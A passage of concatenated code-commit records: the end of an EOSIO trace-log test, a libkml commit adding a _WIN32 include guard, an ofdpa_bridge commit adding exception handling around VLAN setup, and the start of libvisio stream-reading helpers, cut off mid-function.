);\n auto act2 = make_transfer_action( \"alice\"_n, \"bob\"_n, \"0.0001 SYS\"_t, \"Memo!\" );\n auto act3 = make_transfer_action( \"alice\"_n, \"bob\"_n, \"0.0001 SYS\"_t, \"Memo!\" );\n auto actt1 = make_action_trace( 0, act1, \"eosio.token\"_n );\n auto actt2 = make_action_trace( 1, act1, \"alice\"_n );\n auto actt3 = make_action_trace( 2, act1, \"bob\"_n );\n auto ptrx1 = make_packed_trx( { act1, act2, act3 } );\n\n \/\/ apply a basic transfer\n \/\/\n signal_applied_transaction(\n make_transaction_trace(\n ptrx1.id(),\n 1,\n 1,\n chain::transaction_receipt_header::executed,\n { actt1, actt2, actt3 }\n ),\n {\n \/\/ I don't think we will need any data from here?\n }\n );\n \n \/\/ accept the block with one transaction\n\n auto bsp1 = make_block_state(\n chain::block_id_type(),\n 1,\n 1,\n \"bp.one\"_n,\n { chain::packed_transaction(ptrx1) } );\n signal_accepted_block( bsp1 );\n \n \/\/ Verify that the blockheight and LIB are correct\n \/\/\n const uint64_t expected_lib = 0;\n const block_entry_v0 expected_entry {\n bsp1->id,\n 1,\n 0\n };\n\n const block_trace_v0 expected_trace {\n bsp1->id,\n 1,\n bsp1->prev(),\n chain::block_timestamp_type(1),\n \"bp.one\"_n,\n {\n {\n ptrx1.id(),\n chain::transaction_receipt_header::executed,\n {\n {\n 0,\n \"eosio.token\"_n, \"eosio.token\"_n, \"transfer\"_n,\n {{ \"alice\"_n, \"active\"_n }},\n make_transfer_data( \"alice\"_n, \"bob\"_n, \"0.0001 SYS\"_t, \"Memo!\" )\n },\n {\n 1,\n \"alice\"_n, \"eosio.token\"_n, \"transfer\"_n,\n {{ \"alice\"_n, \"active\"_n }},\n make_transfer_data( \"alice\"_n, \"bob\"_n, \"0.0001 SYS\"_t, \"Memo!\" )\n },\n {\n 2,\n \"bob\"_n, \"eosio.token\"_n, \"transfer\"_n,\n {{ \"alice\"_n, \"active\"_n }},\n make_transfer_data( \"alice\"_n, \"bob\"_n, \"0.0001 SYS\"_t, \"Memo!\" )\n }\n }\n }\n }\n };\n\n BOOST_REQUIRE_EQUAL(max_lib, 0);\n BOOST_REQUIRE(block_entry_for_height.count(1) > 0);\n BOOST_REQUIRE_EQUAL(block_entry_for_height.at(1), expected_entry);\n BOOST_REQUIRE(data_log.size() >= expected_entry.offset);\n BOOST_REQUIRE(data_log.at(expected_entry.offset).contains<block_trace_v0>());\n BOOST_REQUIRE_EQUAL(data_log.at(expected_entry.offset).get<block_trace_v0>(), expected_trace);\n }\n\nBOOST_AUTO_TEST_SUITE_END()\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2008, Google Inc. All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without \n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ 1. Redistributions of source code must retain the above copyright notice, \n\/\/ this list of conditions and the following disclaimer.\n\/\/ 2. Redistributions in binary form must reproduce the above copyright notice,\n\/\/ this list of conditions and the following disclaimer in the documentation\n\/\/ and\/or other materials provided with the distribution.\n\/\/ 3. Neither the name of Google Inc. nor the names of its contributors may be\n\/\/ used to endorse or promote products derived from this software without\n\/\/ specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED\n\/\/ WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n\/\/ MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO\n\/\/ EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n\/\/ OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n\/\/ WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR \n\/\/ OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n\/\/ ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ The file contains the implementation of the File methods specific to\n\/\/ the win32 platform.\n\n\/\/ TODO: likely there are better ways to accomplish Delete and\n\/\/ CreateNewTempFile.\n\n#include \"kml\/base\/file.h\"\n#include <windows.h>\n#include <tchar.h>\n#include <xstring>\n#include <algorithm>\n\nnamespace kmlbase {\n\n\/\/ Internal to the win32 file class. We need a conversion from string to\n\/\/ LPCWSTR.\nstatic std::wstring Str2Wstr(const string& str) {\n std::wstring wstr(str.length(), L'');\n std::copy(str.begin(), str.end(), wstr.begin());\n return wstr;\n}\n\n\/\/ Internal to the win32 file class. We need a conversion from std::wstring to\n\/\/ string.\nstring Wstr2Str(const std::wstring& wstr) {\n size_t s = wstr.size();\n string str(static_cast<int>(s+1), 0);\n WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), static_cast<int>(s), &str[0],\n static_cast<int>(s), NULL, NULL);\n return str;\n}\n\nbool File::Exists(const string& full_path) {\n if (full_path.empty()) {\n return false;\n }\n std::wstring wstr = Str2Wstr(full_path);\n DWORD attrs = ::GetFileAttributes(wstr.c_str());\n return (attrs != INVALID_FILE_ATTRIBUTES) &&\n ((attrs & FILE_ATTRIBUTE_DIRECTORY) == 0);\n}\n\nbool File::Delete(const string& filepath) {\n if (filepath.empty()) {\n return false;\n }\n std::wstring wstr = Str2Wstr(filepath);\n return ::DeleteFile(wstr.c_str()) ? true : false;\n}\n\nstatic const unsigned int BUFSIZE = 1024;\nDWORD dwBufSize = BUFSIZE;\nDWORD dwRetVal;\nTCHAR lpPathBuffer[BUFSIZE];\nUINT uRetVal;\nTCHAR szTempName[BUFSIZE];\n\n\/\/ http:\/\/msdn.microsoft.com\/en-us\/library\/aa363875(VS.85).aspx\nbool File::CreateNewTempFile(string* path) {\n if (!path) {\n return false;\n }\n \/\/ Get the temp path.\n dwRetVal = ::GetTempPath(dwBufSize, lpPathBuffer);\n if (dwRetVal > dwBufSize || (dwRetVal == 0)) {\n return false;\n }\n \/\/ Create a temporary file.\n uRetVal = ::GetTempFileName(lpPathBuffer, TEXT(\"libkml\"), 0, szTempName);\n if (uRetVal == 0) {\n return false;\n }\n string str = Wstr2Str(szTempName);\n path->assign(str.c_str(), strlen(str.c_str()));\n return true;\n}\n\n} \/\/ end namespace kmlbase\n<commit_msg>_WIN32 guard for including windows headers<commit_after>\/\/ Copyright 2008, Google Inc. All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ 1. Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ 2. Redistributions in binary form must reproduce the above copyright notice,\n\/\/ this list of conditions and the following disclaimer in the documentation\n\/\/ and\/or other materials provided with the distribution.\n\/\/ 3. Neither the name of Google Inc. nor the names of its contributors may be\n\/\/ used to endorse or promote products derived from this software without\n\/\/ specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED\n\/\/ WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n\/\/ MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO\n\/\/ EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n\/\/ OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n\/\/ WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n\/\/ OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n\/\/ ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ The file contains the implementation of the File methods specific to\n\/\/ the win32 platform.\n\n\/\/ TODO: likely there are better ways to accomplish Delete and\n\/\/ CreateNewTempFile.\n\n#ifdef _WIN32\n\n#include \"kml\/base\/file.h\"\n#include <windows.h>\n#include <tchar.h>\n#include <xstring>\n#include <algorithm>\n\nnamespace kmlbase {\n\n\/\/ Internal to the win32 file class. We need a conversion from string to\n\/\/ LPCWSTR.\nstatic std::wstring Str2Wstr(const string& str) {\n std::wstring wstr(str.length(), L'');\n std::copy(str.begin(), str.end(), wstr.begin());\n return wstr;\n}\n\n\/\/ Internal to the win32 file class. We need a conversion from std::wstring to\n\/\/ string.\nstring Wstr2Str(const std::wstring& wstr) {\n size_t s = wstr.size();\n string str(static_cast<int>(s+1), 0);\n WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), static_cast<int>(s), &str[0],\n static_cast<int>(s), NULL, NULL);\n return str;\n}\n\nbool File::Exists(const string& full_path) {\n if (full_path.empty()) {\n return false;\n }\n std::wstring wstr = Str2Wstr(full_path);\n DWORD attrs = ::GetFileAttributes(wstr.c_str());\n return (attrs != INVALID_FILE_ATTRIBUTES) &&\n ((attrs & FILE_ATTRIBUTE_DIRECTORY) == 0);\n}\n\nbool File::Delete(const string& filepath) {\n if (filepath.empty()) {\n return false;\n }\n std::wstring wstr = Str2Wstr(filepath);\n return ::DeleteFile(wstr.c_str()) ? true : false;\n}\n\nstatic const unsigned int BUFSIZE = 1024;\nDWORD dwBufSize = BUFSIZE;\nDWORD dwRetVal;\nTCHAR lpPathBuffer[BUFSIZE];\nUINT uRetVal;\nTCHAR szTempName[BUFSIZE];\n\n\/\/ http:\/\/msdn.microsoft.com\/en-us\/library\/aa363875(VS.85).aspx\nbool File::CreateNewTempFile(string* path) {\n if (!path) {\n return false;\n }\n \/\/ Get the temp path.\n dwRetVal = ::GetTempPath(dwBufSize, lpPathBuffer);\n if (dwRetVal > dwBufSize || (dwRetVal == 0)) {\n return false;\n }\n \/\/ Create a temporary file.\n uRetVal = ::GetTempFileName(lpPathBuffer, TEXT(\"libkml\"), 0, szTempName);\n if (uRetVal == 0) {\n return false;\n }\n string str = Wstr2Str(szTempName);\n path->assign(str.c_str(), strlen(str.c_str()));\n return true;\n}\n\n} \/\/ end namespace kmlbase\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"ofdpa_bridge.hpp\"\n\n#include \"roflibs\/netlink\/clogging.hpp\"\n\n#include <cassert>\n#include <map>\n\n#include <rofl\/common\/openflow\/cofport.h>\n\nnamespace basebox {\n\nofdpa_bridge::ofdpa_bridge(rofl::rofl_ofdpa_fm_driver &fm_driver)\n : fm_driver(fm_driver) {}\n\nofdpa_bridge::~ofdpa_bridge() {}\n\nvoid ofdpa_bridge::set_bridge_interface(const rofcore::crtlink &rtl) {\n if (AF_BRIDGE != rtl.get_family() || 0 != rtl.get_master()) {\n rofcore::logging::error << __PRETTY_FUNCTION__\n << \" not a bridge master: \" << rtl << std::endl;\n return;\n }\n\n this->bridge = rtl;\n fm_driver.enable_policy_arp(1,1);\n}\n\nstatic int find_next_bit(int i, uint32_t x) {\n int j;\n\n if (i >= 32)\n return -1;\n\n \/* find first bit *\/\n if (i < 0)\n return __builtin_ffs(x);\n\n \/* mask off prior finds to get next *\/\n j = __builtin_ffs(x >> i);\n return j ? j + i : 0;\n}\n\nvoid ofdpa_bridge::add_interface(const rofcore::crtlink &rtl) {\n\n using rofcore::logging;\n\n \/\/ sanity checks\n if (0 == bridge.get_ifindex()) {\n logging::error << __PRETTY_FUNCTION__\n << \" cannot attach interface without bridge: \" << rtl\n << std::endl;\n return;\n }\n if (AF_BRIDGE != rtl.get_family()) {\n logging::error << __PRETTY_FUNCTION__ << rtl\n << \" is not a bridge interface \" << std::endl;\n return;\n }\n if (bridge.get_ifindex() != rtl.get_master()) {\n logging::error << __PRETTY_FUNCTION__ << rtl\n << \" is not a slave of this bridge interface \" << std::endl;\n return;\n }\n\n const struct rtnl_link_bridge_vlan *br_vlan = rtl.get_br_vlan();\n\n for (int k = 0; k < RTNL_LINK_BRIDGE_VLAN_BITMAP_LEN; k++) {\n int base_bit;\n uint32_t a = br_vlan->vlan_bitmap[k];\n\n base_bit = k * 32;\n int i = -1;\n int done = 0;\n while (!done) {\n int j = find_next_bit(i, a);\n if (j > 0) {\n int vid = j - 1 + base_bit;\n bool egress_untagged = false;\n\n \/\/ check if egress is untagged\n if (br_vlan->untagged_bitmap[k] & 1 << (j - 1)) {\n egress_untagged = true;\n }\n\n uint32_t group = fm_driver.enable_port_vid_egress(rtl.get_devname(),\n vid, egress_untagged);\n assert(group && \"invalid group identifier\");\n if (rofl::openflow::OFPG_MAX == group) {\n logging::error << __PRETTY_FUNCTION__\n << \" failed to set vid on egress \" << std::endl;\n i = j;\n continue;\n }\n l2_domain[vid].push_back(group);\n\n if (br_vlan->pvid == vid) {\n fm_driver.enable_port_pvid_ingress(rtl.get_devname(), vid);\n } else {\n fm_driver.enable_port_vid_ingress(rtl.get_devname(), vid);\n }\n\n\/\/ \/\/ todo check if vid is okay as an id as well\n\/\/ group = fm_driver.enable_group_l2_multicast(vid, vid, l2_domain[vid],\n\/\/ 1 != l2_domain[vid].size());\n\/\/\n\/\/ if (1 == l2_domain[vid].size()) { \/\/ todo maybe unnecessary\n\/\/ fm_driver.enable_policy_arp(vid, group);\n\/\/ }\n\n i = j;\n } else {\n done = 1;\n }\n }\n }\n}\n\nvoid ofdpa_bridge::update_vlans(const std::string &devname,\n const rtnl_link_bridge_vlan *old_br_vlan,\n const rtnl_link_bridge_vlan *new_br_vlan) {\n using rofcore::logging;\n for (int k = 0; k < RTNL_LINK_BRIDGE_VLAN_BITMAP_LEN; k++) {\n int base_bit;\n uint32_t a = old_br_vlan->vlan_bitmap[k];\n uint32_t b = new_br_vlan->vlan_bitmap[k];\n\n uint32_t c = old_br_vlan->untagged_bitmap[k];\n uint32_t d = new_br_vlan->untagged_bitmap[k];\n\n uint32_t vlan_diff = a ^ b;\n uint32_t untagged_diff = c ^ d;\n\n base_bit = k * 32;\n int i = -1;\n int done = 0;\n while (!done) {\n int j = find_next_bit(i, vlan_diff);\n if (j > 0) {\n \/\/ vlan added or removed\n int vid = j - 1 + base_bit;\n bool egress_untagged = false;\n\n \/\/ check if egress is untagged\n if (new_br_vlan->untagged_bitmap[k] & 1 << (j - 1)) {\n egress_untagged = true;\n\n \/\/ clear untagged_diff bit\n untagged_diff &= ~((uint32_t)1 << (j - 1));\n }\n\n if (new_br_vlan->vlan_bitmap[k] & 1 << (j - 1)) {\n \/\/ vlan added\n\n uint32_t group =\n fm_driver.enable_port_vid_egress(devname, vid, egress_untagged);\n assert(group && \"invalid group identifier\");\n if (rofl::openflow::OFPG_MAX == group) {\n logging::error << __PRETTY_FUNCTION__\n << \" failed to set vid on egress \" << std::endl;\n i = j;\n continue;\n }\n l2_domain[vid].push_back(group);\n\n if (new_br_vlan->pvid == vid) {\n \/\/ todo check for existing pvid?\n fm_driver.enable_port_pvid_ingress(devname, vid);\n } else {\n fm_driver.enable_port_vid_ingress(devname, vid);\n }\n\n \/\/ todo check if vid is okay as an id as well\n\/\/ group = fm_driver.enable_group_l2_multicast(\n\/\/ vid, vid, l2_domain[vid], 1 != l2_domain[vid].size());\n\/\/\/\/ enable arp flooding as well\n\/\/#if DISABLED_TO_TEST\n\/\/ if (1 == l2_domain[vid].size()) { \/\/ todo maybe unnecessary\n\/\/ fm_driver.enable_policy_arp(vid, group);\n\/\/ }\n\/\/#endif\n } else {\n \/\/ vlan removed\n }\n\n i = j;\n } else {\n done = 1;\n }\n }\n\n#if 0 \/\/ not yet implemented the update\n\t\tdone = 0;\n\t\ti = -1;\n\t\twhile (!done) {\n\t\t\t\/\/ vlan is existing, but swapping egress tagged\/untagged\n\t\t\tint j = find_next_bit(i, untagged_diff);\n\t\t\tif (j > 0) {\n\t\t\t\t\/\/ egress untagged changed\n\t\t\t\tint vid = j - 1 + base_bit;\n\t\t\t\tbool egress_untagged = false;\n\n\t\t\t\t\/\/ check if egress is untagged\n\t\t\t\tif (new_br_vlan->untagged_bitmap[k] & 1 << (j-1)) {\n\t\t\t\t\tegress_untagged = true;\n\t\t\t\t}\n\n\t\t\t\t\/\/ XXX implement update\n\t\t\t\tfm_driver.update_port_vid_egress(devname, vid, egress_untagged);\n\n\n\t\t\t\ti = j;\n\t\t\t} else {\n\t\t\t\tdone = 1;\n\t\t\t}\n\t\t}\n#endif\n }\n}\n\nvoid ofdpa_bridge::update_interface(const rofcore::crtlink &oldlink,\n const rofcore::crtlink &newlink) {\n using rofcore::crtlink;\n using rofcore::logging;\n\n \/\/ sanity checks\n if (0 == bridge.get_ifindex()) {\n logging::error << __PRETTY_FUNCTION__\n << \" cannot update interface without bridge\" << std::endl;\n return;\n }\n if (AF_BRIDGE != newlink.get_family()) {\n logging::error << __PRETTY_FUNCTION__ << newlink\n << \" is not a bridge interface\" << std::endl;\n return;\n }\n \/\/\tif (AF_BRIDGE != oldlink.get_family()) {\n \/\/\t\tlogging::error << __PRETTY_FUNCTION__ << oldlink << \" is\n \/\/ not a bridge interface\" << std::endl;\n \/\/\t\treturn;\n \/\/\t}\n if (bridge.get_ifindex() != newlink.get_master()) {\n logging::error << __PRETTY_FUNCTION__ << newlink\n << \" is not a slave of this bridge interface\" << std::endl;\n return;\n }\n if (bridge.get_ifindex() != oldlink.get_master()) {\n logging::error << __PRETTY_FUNCTION__ << newlink\n << \" is not a slave of this bridge interface\" << std::endl;\n return;\n }\n\n if (newlink.get_devname().compare(oldlink.get_devname())) {\n logging::info << __PRETTY_FUNCTION__\n << \" interface rename currently ignored \" << std::endl;\n \/\/ FIXME this has to be handled differently\n return;\n }\n\n if (not crtlink::are_br_vlan_equal(newlink.get_br_vlan(),\n oldlink.get_br_vlan())) {\n \/\/ vlan updated\n update_vlans(oldlink.get_devname(), oldlink.get_br_vlan(),\n newlink.get_br_vlan());\n }\n}\n\nvoid ofdpa_bridge::delete_interface(const rofcore::crtlink &rtl) {\n \/\/ XXX update L2 Multicast Group\n\n \/\/ get group id\n\n \/\/ remove id from l2_domain\n\n \/\/ update enable_group_l2_multicast\n}\n\nvoid ofdpa_bridge::add_mac_to_fdb(const uint32_t of_port_no,\n const uint16_t vlan,\n const rofl::cmacaddr &mac, bool permanent) {\n fm_driver.add_bridging_unicast_vlan(mac, vlan, of_port_no, permanent);\n}\n\nvoid ofdpa_bridge::remove_mac_from_fdb(const uint32_t of_port_no, uint16_t vid,\n const rofl::cmacaddr &mac) {\n fm_driver.remove_bridging_unicast_vlan(mac, vid, of_port_no);\n}\n\n} \/* namespace basebox *\/\n<commit_msg>catch errors in case of congestion<commit_after>#include \"ofdpa_bridge.hpp\"\n\n#include \"roflibs\/netlink\/clogging.hpp\"\n\n#include <cassert>\n#include <map>\n\n#include <rofl\/common\/openflow\/cofport.h>\n\nnamespace basebox {\n\nofdpa_bridge::ofdpa_bridge(rofl::rofl_ofdpa_fm_driver &fm_driver)\n : fm_driver(fm_driver) {}\n\nofdpa_bridge::~ofdpa_bridge() {}\n\nvoid ofdpa_bridge::set_bridge_interface(const rofcore::crtlink &rtl) {\n if (AF_BRIDGE != rtl.get_family() || 0 != rtl.get_master()) {\n rofcore::logging::error << __PRETTY_FUNCTION__\n << \" not a bridge master: \" << rtl << std::endl;\n return;\n }\n\n this->bridge = rtl;\n fm_driver.enable_policy_arp(1,1);\n}\n\nstatic int find_next_bit(int i, uint32_t x) {\n int j;\n\n if (i >= 32)\n return -1;\n\n \/* find first bit *\/\n if (i < 0)\n return __builtin_ffs(x);\n\n \/* mask off prior finds to get next *\/\n j = __builtin_ffs(x >> i);\n return j ? j + i : 0;\n}\n\nvoid ofdpa_bridge::add_interface(const rofcore::crtlink &rtl) {\n\n using rofcore::logging;\n\n \/\/ sanity checks\n if (0 == bridge.get_ifindex()) {\n logging::error << __PRETTY_FUNCTION__\n << \" cannot attach interface without bridge: \" << rtl\n << std::endl;\n return;\n }\n if (AF_BRIDGE != rtl.get_family()) {\n logging::error << __PRETTY_FUNCTION__ << rtl\n << \" is not a bridge interface \" << std::endl;\n return;\n }\n if (bridge.get_ifindex() != rtl.get_master()) {\n logging::error << __PRETTY_FUNCTION__ << rtl\n << \" is not a slave of this bridge interface \" << std::endl;\n return;\n }\n\n const struct rtnl_link_bridge_vlan *br_vlan = rtl.get_br_vlan();\n\n for (int k = 0; k < RTNL_LINK_BRIDGE_VLAN_BITMAP_LEN; k++) {\n int base_bit;\n uint32_t a = br_vlan->vlan_bitmap[k];\n\n base_bit = k * 32;\n int i = -1;\n int done = 0;\n while (!done) {\n int j = find_next_bit(i, a);\n if (j > 0) {\n int vid = j - 1 + base_bit;\n bool egress_untagged = false;\n\n \/\/ check if egress is untagged\n if (br_vlan->untagged_bitmap[k] & 1 << (j - 1)) {\n egress_untagged = true;\n }\n\n uint32_t group = fm_driver.enable_port_vid_egress(rtl.get_devname(),\n vid, egress_untagged);\n assert(group && \"invalid group identifier\");\n if (rofl::openflow::OFPG_MAX == group) {\n logging::error << __PRETTY_FUNCTION__\n << \" failed to set vid on egress \" << std::endl;\n i = j;\n continue;\n }\n l2_domain[vid].push_back(group);\n\n if (br_vlan->pvid == vid) {\n fm_driver.enable_port_pvid_ingress(rtl.get_devname(), vid);\n } else {\n fm_driver.enable_port_vid_ingress(rtl.get_devname(), vid);\n }\n\n\/\/ \/\/ todo check if vid is okay as an id as well\n\/\/ group = fm_driver.enable_group_l2_multicast(vid, vid, l2_domain[vid],\n\/\/ 1 != l2_domain[vid].size());\n\/\/\n\/\/ if (1 == l2_domain[vid].size()) { \/\/ todo maybe unnecessary\n\/\/ fm_driver.enable_policy_arp(vid, group);\n\/\/ }\n\n i = j;\n } else {\n done = 1;\n }\n }\n }\n}\n\nvoid ofdpa_bridge::update_vlans(const std::string &devname,\n const rtnl_link_bridge_vlan *old_br_vlan,\n const rtnl_link_bridge_vlan *new_br_vlan) {\n using rofcore::logging;\n for (int k = 0; k < RTNL_LINK_BRIDGE_VLAN_BITMAP_LEN; k++) {\n int base_bit;\n uint32_t a = old_br_vlan->vlan_bitmap[k];\n uint32_t b = new_br_vlan->vlan_bitmap[k];\n\n uint32_t c = old_br_vlan->untagged_bitmap[k];\n uint32_t d = new_br_vlan->untagged_bitmap[k];\n\n uint32_t vlan_diff = a ^ b;\n uint32_t untagged_diff = c ^ d;\n\n base_bit = k * 32;\n int i = -1;\n int done = 0;\n while (!done) {\n int j = find_next_bit(i, vlan_diff);\n if (j > 0) {\n \/\/ vlan added or removed\n int vid = j - 1 + base_bit;\n bool egress_untagged = false;\n\n \/\/ check if egress is untagged\n if (new_br_vlan->untagged_bitmap[k] & 1 << (j - 1)) {\n egress_untagged = true;\n\n \/\/ clear untagged_diff bit\n untagged_diff &= ~((uint32_t)1 << (j - 1));\n }\n\n if (new_br_vlan->vlan_bitmap[k] & 1 << (j - 1)) {\n \/\/ vlan added\n\n try {\n uint32_t group =\n fm_driver.enable_port_vid_egress(devname, vid, egress_untagged);\n assert(group && \"invalid group identifier\");\n if (rofl::openflow::OFPG_MAX == group) {\n logging::error << __PRETTY_FUNCTION__\n << \" failed to set vid on egress \" << std::endl;\n i = j;\n continue;\n }\n l2_domain[vid].push_back(group);\n } catch (std::exception &e) {\n logging::error << __PRETTY_FUNCTION__ << \" caught error1:\"\n << e.what() << std::endl;\n }\n\n try {\n if (new_br_vlan->pvid == vid) {\n \/\/ todo check for existing pvid?\n fm_driver.enable_port_pvid_ingress(devname, vid);\n } else {\n fm_driver.enable_port_vid_ingress(devname, vid);\n }\n } catch (std::exception &e) {\n logging::error << __PRETTY_FUNCTION__ << \" caught error2:\"\n << e.what() << std::endl;\n }\n\n \/\/ todo check if vid is okay as an id as well\n\/\/ group = fm_driver.enable_group_l2_multicast(\n\/\/ vid, vid, l2_domain[vid], 1 != l2_domain[vid].size());\n\/\/\/\/ enable arp flooding as well\n\/\/#if DISABLED_TO_TEST\n\/\/ if (1 == l2_domain[vid].size()) { \/\/ todo maybe unnecessary\n\/\/ fm_driver.enable_policy_arp(vid, group);\n\/\/ }\n\/\/#endif\n } else {\n \/\/ vlan removed\n }\n\n i = j;\n } else {\n done = 1;\n }\n }\n\n#if 0 \/\/ not yet implemented the update\n\t\tdone = 0;\n\t\ti = -1;\n\t\twhile (!done) {\n\t\t\t\/\/ vlan is existing, but swapping egress tagged\/untagged\n\t\t\tint j = find_next_bit(i, untagged_diff);\n\t\t\tif (j > 0) {\n\t\t\t\t\/\/ egress untagged changed\n\t\t\t\tint vid = j - 1 + base_bit;\n\t\t\t\tbool egress_untagged = false;\n\n\t\t\t\t\/\/ check if egress is untagged\n\t\t\t\tif (new_br_vlan->untagged_bitmap[k] & 1 << (j-1)) {\n\t\t\t\t\tegress_untagged = true;\n\t\t\t\t}\n\n\t\t\t\t\/\/ XXX implement update\n\t\t\t\tfm_driver.update_port_vid_egress(devname, vid, egress_untagged);\n\n\n\t\t\t\ti = j;\n\t\t\t} else {\n\t\t\t\tdone = 1;\n\t\t\t}\n\t\t}\n#endif\n }\n}\n\nvoid ofdpa_bridge::update_interface(const rofcore::crtlink &oldlink,\n const rofcore::crtlink &newlink) {\n using rofcore::crtlink;\n using rofcore::logging;\n\n \/\/ sanity checks\n if (0 == bridge.get_ifindex()) {\n logging::error << __PRETTY_FUNCTION__\n << \" cannot update interface without bridge\" << std::endl;\n return;\n }\n if (AF_BRIDGE != newlink.get_family()) {\n logging::error << __PRETTY_FUNCTION__ << newlink\n << \" is not a bridge interface\" << std::endl;\n return;\n }\n \/\/\tif (AF_BRIDGE != oldlink.get_family()) {\n \/\/\t\tlogging::error << __PRETTY_FUNCTION__ << oldlink << \" is\n \/\/ not a bridge interface\" << std::endl;\n \/\/\t\treturn;\n \/\/\t}\n if (bridge.get_ifindex() != newlink.get_master()) {\n logging::error << __PRETTY_FUNCTION__ << newlink\n << \" is not a slave of this bridge interface\" << std::endl;\n return;\n }\n if (bridge.get_ifindex() != oldlink.get_master()) {\n logging::error << __PRETTY_FUNCTION__ << newlink\n << \" is not a slave of this bridge interface\" << std::endl;\n return;\n }\n\n if (newlink.get_devname().compare(oldlink.get_devname())) {\n logging::info << __PRETTY_FUNCTION__\n << \" interface rename currently ignored \" << std::endl;\n \/\/ FIXME this has to be handled differently\n return;\n }\n\n if (not crtlink::are_br_vlan_equal(newlink.get_br_vlan(),\n oldlink.get_br_vlan())) {\n \/\/ vlan updated\n update_vlans(oldlink.get_devname(), oldlink.get_br_vlan(),\n newlink.get_br_vlan());\n }\n}\n\nvoid ofdpa_bridge::delete_interface(const rofcore::crtlink &rtl) {\n \/\/ XXX update L2 Multicast Group\n\n \/\/ get group id\n\n \/\/ remove id from l2_domain\n\n \/\/ update enable_group_l2_multicast\n}\n\nvoid ofdpa_bridge::add_mac_to_fdb(const uint32_t of_port_no,\n const uint16_t vlan,\n const rofl::cmacaddr &mac, bool permanent) {\n fm_driver.add_bridging_unicast_vlan(mac, vlan, of_port_no, permanent);\n}\n\nvoid ofdpa_bridge::remove_mac_from_fdb(const uint32_t of_port_no, uint16_t vid,\n const rofl::cmacaddr &mac) {\n fm_driver.remove_bridging_unicast_vlan(mac, vid, of_port_no);\n}\n\n} \/* namespace basebox *\/\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- *\/\n\/*\n * This file is part of the libvisio project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include <vector>\n#include <string>\n#include <algorithm> \/\/ std::count\n#include <cstdarg>\n#include <cstdio>\n#include \"VSDInternalStream.h\"\n#include \"libvisio_utils.h\"\n\nuint8_t libvisio::readU8(librevenge::RVNGInputStream *input)\n{\n if (!input || input->isEnd())\n {\n VSD_DEBUG_MSG((\"Throwing EndOfStreamException\\n\"));\n throw EndOfStreamException();\n }\n unsigned long numBytesRead;\n uint8_t const *p = input->read(sizeof(uint8_t), numBytesRead);\n\n if (p && numBytesRead == sizeof(uint8_t))\n return *(uint8_t const *)(p);\n VSD_DEBUG_MSG((\"Throwing EndOfStreamException\\n\"));\n throw EndOfStreamException();\n}\n\nuint16_t libvisio::readU16(librevenge::RVNGInputStream *input)\n{\n if (!input || input->isEnd())\n {\n VSD_DEBUG_MSG((\"Throwing EndOfStreamException\\n\"));\n throw EndOfStreamException();\n }\n unsigned long numBytesRead;\n uint8_t const *p = input->read(sizeof(uint16_t), numBytesRead);\n\n if (p && numBytesRead == sizeof(uint16_t))\n return (uint16_t)p[0]|((uint16_t)p[1]<<8);\n VSD_DEBUG_MSG((\"Throwing EndOfStreamException\\n\"));\n throw EndOfStreamException();\n}\n\nint16_t libvisio::readS16(librevenge::RVNGInputStream *input)\n{\n return (int16_t)readU16(input);\n}\n\nuint32_t libvisio::readU32(librevenge::RVNGInputStream *input)\n{\n if (!input || input->isEnd())\n {\n VSD_DEBUG_MSG((\"Throwing EndOfStreamException\\n\"));\n throw EndOfStreamException();\n }\n unsigned long numBytesRead;\n uint8_t const *p = input->read(sizeof(uint32_t), numBytesRead);\n\n if (p && numBytesRead == sizeof(uint32_t))\n return 